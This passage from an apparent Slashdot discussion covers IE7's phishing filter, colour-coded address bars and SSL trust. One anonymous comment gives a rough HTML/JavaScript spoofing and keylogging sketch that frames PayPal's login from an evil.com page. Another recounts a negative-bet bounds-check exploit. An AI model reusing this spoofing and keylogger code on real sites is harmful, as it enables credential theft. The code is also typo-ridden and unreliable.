      It may be possible to combine this weakness of SSLv2 with various DNS poisoning attacks. This would allow an attacker to masquerade as the real web site while getting a copy of the passwords, account numbers used, etc. Of course it takes a bit more effort to set up such an SSL proxy and to perform the DNS attacks, but the results may be worth the effort. Especially if the current phishing tactics become increasingly inefficient due to the various anti-phishing solutions implemented in the newer browsers. With this kind of attack, the users would not even know that their confidential data has been stolen.

      --
      -Raphaël
    2. Re:Encryption is not the problem by JourneymanMereel · · Score: 1

      And just to keep things interesting, you have sites like this credit union that actually encourage their customers to enter their account number and password into a form that is not a secure site!

      --
      Life has many choices. Eternity has two. What's yours?
  29. Good Idea - Like it by oztiks · · Score: 1

    I recon its a great idea to avoid phising sites, maybe from a nerds point of view it isnt so great for the avg joe it looks like a winner.

    The only problems i have is the fact that the newer versions of ie will incorpoerate tabbed browsing and the MSN search tool which looks almost exactly like the firefox search tool ... After ie 7 i dont want to hear another word about other software vendors floggins ideas from ms, it goes to show how much they all flog from each other ...

  30. Alternative terms for "Phishing" by MS-06FZ · · Score: 1

    I agree that "phishing" is arcane and not helpful to people who aren't already familiar with the term and concept. But I think "Identity Theft Filter" is a bit confusing. I feel like a lot of people don't understand what identity theft is. "Malicious Websites" is OK, but it doesn't really explain how the site is malicious. (Browser exploit? Hate speech? etc.) Maybe "Deceptively Disguised Website" would be a good starting point. From there applications could guide users to explanations of why and (in simple terms) how websites are disguised, and what can happen if you're foolish enough to trust one.

    --
    ---GEC
    I'm but the humble pupil, seeking to snatch the scratchbuilt pebble from the master's fully articulated hand
    1. Re:Alternative terms for "Phishing" by SCVirus · · Score: 0

      Lets pull a page from Intels book and call the site a 'virus'.

  31. More to the point: how are browsers stopping this? by Nailer · · Score: 1

    What are IE7, Konq, FF and other next gen web browsers doing to stop self-signed certs?

    A screen full of technobabble isn't enough. A warning that the site is suspicious, as used for other dodgy sites, is better.

  32. Phishing Filter in IE is just shifting the problem by Anonymous Coward · · Score: 0

    to Cross-Site-Scripting. Why should I try to spoof a site, if I can simply take the orginal website und capture or modify it on-demand?

    [p][a id="SPOOF" href="xttp://www.evil.com/evil.htm"][/a][/p]
    [div][a href="xttps://login.paypal.com"]
    [table][caption]
    [a href="xttps://login.paypal.com"][label for="SPOOF"][u style="cursor: pointer; color: blue"]
    xttps://login.paypal.com[/u][/label][/a]
    [/caption][/table]
    [/a][/div]

    evil.htm:
    [script]
    window.open('evil2.htm','','xttps://login.paypal.c om"+" (many spaces).hehe-dnsismagic.evil.com');
    [/script]

    evil2.htm:
    [html]
    [div style="position: absolute; left: 405px; top: 245px;"][input name="login" id="login" style="border: 0px none ; width: 145px; height: 18px; z-index: 12; font-size: x-small; font-family: Arial,Helvetica,sans-serif;" value="" type="text"][/div]
    [div style="position: absolute; width: 155px; height: 28px; left: 7px; top: 122px; background-color: red; z-index: 11;" onclick="focus()" unselectable="on"][/div][!--position it right, baby!--]
    [script]
    var keylog='';
    var login=document.getElemtentById('login');
    document.onkeypress = function () {
    k = window.event.keyCode;
    keylog += String.fromCharCode(k);
    login.value=keylog;
    submitkeylogtomyserver(); }
    [/script]
    [frameset onLoad="this.focus();" onBlur="this.focus();" cols="100%,*"]
    [frame src="xttps://login.paypal.com" scrolling="auto"]
    [/frameset]

    Or, even simpler:
    window.prototype.x=new function() { // modify the website as you wish }
    window.open('evil3.htm','','');
    waitsometime();
    window.location='https://login.paypal.com';

    evil3.htm:
    waitsometime();
    window.opener.x(); // yeah, that works cross-domain!

    Anyway, it should be much simpler to simply install some malware through on of those unpatched remote code execution security holes.

    As long as Microsoft leaves those, well I counted: 49 (!) still unpatched security holes wide open, the Phishing filter is pretty useless.

  33. Web browser firewall by Anonymous Coward · · Score: 0

    I typed "web browser firewall" at download.com and got this

    http://www.download.com/SpyWall-Anti-Spyware/3000- 8022_4-10461208.html?tag=lst-0-2

    seems like there is a firewall for web browser now.

    and another one....

    http://www.download.com/Sandboxie/3000-2366_4-1037 1435.html?tag=lst-0-4

  34. Phishing database really efficient? by Misagon · · Score: 2, Interesting

    I read a study recently that most phishing web sites don't live longer than a week...
    A database of unimportant entries is not going to do any good.
    I figure that Microsoft will have to keep a staff of around a dozen people day and night checking out each one of these flagged URLs as soon as the URLs come in, or otherwise it is not going to be very effective.

    --
    "We mustn't be caught by surprise by our own advancing technology" -- Aldous Huxley
    1. Re:Phishing database really efficient? by ninja_assault_kitten · · Score: 1

      Agreed. Most modern phishing databases are tired to massive botnets. They never exist on a single IP long enough to work.

      However, combined with content signatures, they may be a little more effective.

    2. Re:Phishing database really efficient? by Agelmar · · Score: 2, Interesting

      You're actually a bit off in your timeline, in that 'average' is really a poor [misleading] statistic to use for this. The data is extremely bimodal. For phishing sites hosted by ISPs in the U.S. that are reported on a weekday other than Friday during business hours and/or name-based attacks (registering a domain that looks like a legitimate domain), the average turnaround is around 40 hours. For phishing sites first reported and/or launched on a Friday afternoon, and hosted in China, Singapore, or certain other countries, and/or name-based attacks with domains registered through small, sometimes less-than-responsive registrars, you can easily be talking five days or more.

      With that said, if you are proactive and/or are paying people to watch out for your corporate identity, you may be able to spot phishing attacks on the 30-minute timeframe. The difference in being able to respond in 30 minutes by calling MS and having them add a site to a blacklist is significant when compared to waiting 2-5 days. You are essentially reducing the survivability of sites with respect to a very large number of users by orders of magnitude.

      And yes, Microsoft will have a staff of people (they wouldn't tell me exactly how many) that are monitoring this blacklist. They also have a set of heuristics that they use, but I think the blacklist may be the most effective. Remember, for a company the size of Microsoft, hiring (as you estimate) about 12 people (who do not need to be extremely savvy, and can therefore be minimally paid) is not at all infeasible.

    3. Re:Phishing database really efficient? by StrawberryFrog · · Score: 1

      I read a study recently that most phishing web sites don't live longer than a week.

      Which is why the netcraft anti-phishing toolbar is weighted to giving a poor rating to very new sites. It makes sense: if you are wanting to bank online, you expect a domain registered years not days ago.

      --

      My Karma: ran over your Dogma
      StrawberryFrog

  35. O RLY by Anonymous Coward · · Score: 0

    In what culture does a yellow traffic light not mean caution?

  36. The Problem with Digg by Anonymous Coward · · Score: 1, Informative

    http://www.yafla.com/dforbes/2005/11/22.html#a191

    (I saw that on Digg, btw, but of course it quickly cycled off the page while the groupthink herds were busy pushing up every lame story about the FireFox religion)

  37. A bad programmer by Kaenneth · · Score: 1

    A bad programmer can be equally incompetant in any language.

    A few security holes I've found:

      A system where you can gamble online credits, you bet n credits, and a number between 1 and 5 was generated, if you guessed the number, you would win 4 times your bet, otherwise you lose your bet, maximum winnings of 100 credits a day. I bet -1000000000 credits, so when I lost I gained 4000000000 credits. (which errored out and dumped me to a command prompt, from which I could read/edit the password file)

      Sending an e-mail to an 'anonymous' mail service with an HTML document enclosed with an image linked to my own web server, gave me the the IP address of the recipient.

      A commercial web site that allowed me to enter a username of blah blah blah, which it would then display to other users of the site.

    1. Re:A bad programmer by Kaenneth · · Score: 1

      well, I see Slashdot knows how to strip HTML tags =) tags specifically.

    2. Re:A bad programmer by Godeke · · Score: 2, Insightful
      A bad programmer can be equally incompetant in any language.

      And you think these guys would have done *better* in C/C++? Surely a bad coder can wreck any project. However, Java or C# allow a *competent* programmer to avoid *by default* many pitfalls that a C/C++ programmer must remain on guard for. C/C++ has its use, but I believe it is selected for projects where it isn't a requirement to have low level access to the OS and memory management.
      if (loser) { credits -= bet }
      where bet has not been bounds checked for a negative is stupid in *any* language and isn't specific to C/C++.
      --
      Sig under construction since 1998.
    3. Re:A bad programmer by Kaenneth · · Score: 1

      uh, yeah, that's what I was saying.

  38. aging by paxmark1 · · Score: 1

    Aging - not ageing.

    As in "The aging process must have been accelerated for the person who wrote the post ..."

  39. O RLY by Anonymous Coward · · Score: 0

    Please tell us what culture uses a yellow traffic light to mean something besides caution.

  40. Java is useless to me. by bluGill · · Score: 1

    I tried to install Java on my computer. I gave up when I discovered that Sun won't let me install it directly. I have to make special effort to agree to their license. FreeBSD-ports cannot include it directly. I can deal with it, but it isn't worth the bother.

    However things get worse when you are not a personal user. At work we are interested in an open-source project written in Java, but because of the license we cannot use it. (We want to ship it as part of an embedded system, the only way to install would be to have every customer download the JVM somehow) DOA because of this. (We tried gcj but were unable to get it to work - I wish that effort luck though)

    Sun does not want Java to succeed. I'm all for helping them in that goal.

  41. the four major browsers by lethe1001 · · Score: 0, Troll

    IE 4, IE 5, IE6, and IE 7? Maybe you mean the 1 major browsers, and 3 other guys who like to talk about how major they're gonna be in a couple years.

  42. Re:What's Digg? by Anonymous Coward · · Score: 0

    You do not understand why we come to /.

    Hint: It isn't the stories as such.

  43. Please define "one of the first" by eyal0 · · Score: 1

    The claim is that IE7 is "one of the first" browsers to have a color-coded location bar. Maybe "one of the last" is more appropriate?

  44. Colour blindness by stunami · · Score: 0

    How does this colour coding help people who are colour blind?

  45. phishing links by Scott+Swezey · · Score: 1

    Just an idea, buf there is a link like www.ebay.com, the browser should show a warning that your using a deceptive URL. I'm sure implementing a good way to handle that is another story though...

    --
    Scott Swezey
    1. Re:phishing links by Anonymous Coward · · Score: 0

      Just an idea, buf there is a link like www.ebay.com [spoof-site.com], the browser should show a warning that your using a deceptive URL. I'm sure implementing a good way to handle that is another story though...

      I dunno... Maybe they could show the real domain in brackets or something?

  46. No warning if the certificate changes by Anonymous Coward · · Score: 0
    Wouldn't your browser warn you currently if your bank's certificate changed?

    Nope, it would not. This is by design. Server certificates expire, so they have to be changed every year, or every second year. This is supposed to take place without any warning displayed to the user. The browser does not remember the server certificate, it just checks that it is signed by one of the CAs on it's installed list of CAs.

    You may be thinking of the way ssh handles "trusted hosts". Ssh asks you if you will trust a host the first time you connect to it, and stores the host's key in the "trusted hosts" list. If that key changes, ssh will give a really stern warning. SSL does not work that way.

    SSL is based on the "Trusted Third Party". The CAs are the trusted third parties. The browser vendors decide which CAs to add to the list by default. If you don't trust them, you will have to remove them manually, if the browser or operating system allows that (on some embedded devices it's take it or leave it).

  47. IE7 isn't the same by DrYak · · Score: 1

    FireFox : changes color for secure connections, etc... (your e-Banking site is yellow, because of https & validate certificate)
    There's also proposition to change color when using mixed caracter bank (warning for cyrillic/latin homographs, etc...)
    etc...

    IE7 : changes color for URLs from known spoofer (www.paypaI.com is red because it's in a phisher-black-list. But new phisher won't be red until added to black-list.).

    It's 2 different coloring methods, it's heuristic vs. "list-of-known-evil"

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
  48. Re:Suggestion - already done for FF: TrustBar by Amir+Herzberg · · Score: 1

    TrustBar is a FireFox extension that already (and for a while already) implements your proposal... Namely, it supports both `petnaming` of a site, i.e. to assign a name (or, with TrustBar, a logo) to a site, and also display of the name of the organization and of the CA, like IE 7 (and future browsers). It is the result of secure usability study by Ahmad Jbara and myself, and has some other mechanisms, including random `exercise training attacks` to help users stay trained to watch for the name/logo of the site. (I must admit that this mechanism is now set for too frequent `exercise attacks`, we will improve this in our next release very soon, but you can also reduce or eliminate this using the user interface of course).

    There are some differences in the way TrustBar and Petname extensions handle the `petnaming` aspect; of course, I think what we do is more correct, and Tyler (Petname developer) disagrees... we use the anti-fraud forum to discuss such issues, join us if interested.

    Best, Amir Herzberg

    --
    Prof. Amir Herzberg Dept. of Computer Science, Bar Ilan Univ. http://AmirHerzberg.com